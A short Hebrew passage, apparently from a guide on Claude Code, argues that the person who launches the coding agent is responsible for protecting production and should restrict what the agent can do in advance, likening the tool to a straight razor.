המשפט הזה אינו עניין של סגנון. מי שאחראי להגנה על סביבת הייצור הוא מי שהפעיל את הסוכן. Claude Code עובד כמו תער ישר: אפשר להתגלח איתו, ואפשר להיחתך ממנו. ההגדרה עונה על שאלה אחת: האם הכנתם את הסביבה היטב מספיק כדי שהתער לא יחתוך שום דבר שאסור לו לחתוך?

הגדרה לפני תקרית היא חלק מ־הנדסת הקשר: אתם מגבילים מראש את מה שהסוכן יכול לעשות, וכך מאפשרים לו לעשות את מה שאתם רוצים.

משאבים נוספים זמינים ב־Ailoot.